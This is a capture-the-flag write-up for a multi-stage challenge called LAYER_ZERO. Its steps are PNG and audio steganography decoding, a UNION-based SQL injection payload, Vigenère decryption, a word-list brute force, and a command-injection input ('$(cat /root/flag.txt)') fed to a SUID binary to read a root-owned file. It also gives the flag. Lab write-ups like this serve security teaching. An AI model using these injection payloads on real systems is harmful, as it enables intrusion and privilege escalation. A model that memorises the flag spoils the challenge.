ESPILON-CTF-2026-Writeups/Misc/LAYER_ZERO

LAYER_ZERO — Solution

Difficulty: Hard | Category: Misc | Flag: ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}

Overview

Multi-stage challenge. Four sealed channels must be unlocked in sequence. Each channel produces a token; submit all four to LAYER_GOD to unlock a SUID binary that reveals the flag.

Layer	Channel	Port	Technique
L01	CHANNEL_STATIC	4141/tcp	PNG filter-type steganography
L03	CHANNEL_KNIGHTS	8080/tcp	SQL injection + Vigenère cipher
L07	CHANNEL_WIRED	4242/tcp	State machine sequence brute-force
L13	CHANNEL_EIRI	9001/tcp	Echo hiding audio steganography
GOD	LAYER_GOD	6660/tcp	Ritual submission + SUID exploit

Layer 01 — CHANNEL_STATIC (PNG stego)

The PNG at /home/lain/CHANNEL_STATIC/lain_signal.png hides data in the filter type bytes — the first byte of each scanline in the raw IDAT stream.

import struct, zlib

with open("lain_signal.png", "rb") as f:
    data = f.read()

pos, idat = 8, b""
while pos < len(data):
    length = struct.unpack(">I", data[pos:pos+4])[0]
    ctype  = data[pos+4:pos+8]
    if ctype == b"IDAT":
        idat += data[pos+8:pos+8+length]
    pos += 12 + length

raw      = zlib.decompress(idat)
row_size = 1 + 64 * 3          # 1 filter byte + 64×RGB pixels
# First 24 filter bytes encode 3 ASCII chars (8 bits each)
bits   = [raw[i * row_size] for i in range(24)]
decoded = "".join(chr(int("".join(map(str, bits[i*8:(i+1)*8])), 2)) for i in range(3))

Submit the decoded string:

SUBMIT <decoded>

Server responds with token L01:xxxxxxxxxx.

Layer 03 — CHANNEL_KNIGHTS (SQLi + Vigenère)

The web service at port 8080 has a /search?q= endpoint vulnerable to UNION-based SQLi.

/search?q=' UNION SELECT id,alias,rank,access_code,status FROM members--

One row contains a Vigenère-encrypted access code. Decrypt it with key KUDARANAI:

def vigenere_decrypt(text, key):
    result, ki = [], 0
    for c in text.upper():
        if c.isalpha():
            shift = ord(key[ki % len(key)].upper()) - ord("A")
            result.append(chr((ord(c) - ord("A") - shift) % 26 + ord("A")))
            ki += 1
        else:
            result.append(c)
    return "".join(result)

Submit the plaintext to /submit?code=<plaintext>. Server responds with token L03:xxxxxxxxxx.

Layer 07 — CHANNEL_WIRED (state machine)

The service at port 4242 expects a 4-word sequence. The first two are fixed: PRESENT_DAY, PRESENT_TIME. Brute-force the last two from known word lists:

WORD3 = ["NAVI_LAYER_07", "PROTOCOL_SEVEN", "WIRED_ACCESS",
         "KNIGHTS_CODE", "EIRI_SYSTEM", "DEUS_NODE"]
WORD4 = ["CONNECT", "DESCEND", "MERGE", "ASCEND", "RESONATE", "DISSOLVE"]

for w3, w4 in itertools.product(WORD3, WORD4):
    # try sequence: PRESENT_DAY → PRESENT_TIME → w3 → w4

Server responds with token L07:xxxxxxxxxx on success.

Layer 13 — CHANNEL_EIRI (echo hiding)

The service at port 9001 streams 30 seconds of 16-bit mono PCM at 44100 Hz. Data is hidden via echo hiding: a 1-bit echo at delay D1=200 (bit 1) or D0=100 (bit 0) is embedded in 1024-sample segments.

import numpy as np

# After streaming and collecting pcm_data:
samples = np.frombuffer(pcm_data, dtype="<i2").astype(float) / 32767.0

SEG_SIZE, D0, D1 = 1024, 100, 200
N_CHARS = 5
bits = []
for i in range(N_CHARS * 8):
    seg = samples[i * SEG_SIZE: (i + 1) * SEG_SIZE]
    ac  = np.correlate(seg, seg, "full")
    mid = len(ac) // 2
    bits.append("1" if ac[mid + D1] > ac[mid + D0] else "0")

code = "".join(chr(int("".join(bits[i*8:(i+1)*8]), 2)) for i in range(N_CHARS))

Submit the decoded code:

SUBMIT <code>

Server responds with token L13:xxxxxxxxxx.

LAYER_GOD — Ritual + SUID exploit

Submit all four tokens to port 6660:

RITUAL L01:xxxxxxxxxx L03:xxxxxxxxxx L07:xxxxxxxxxx L13:xxxxxxxxxx

On success, the SUID binary /opt/protocol7/eiri_validator is unlocked. Exploit it via command injection — the binary calls system() with unsanitised input:

/opt/protocol7/eiri_validator
# When prompted, enter:
$(cat /root/flag.txt)

Automated Solver

python3 solve.py [host] [port]

Flag

ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}

Author

Eun0us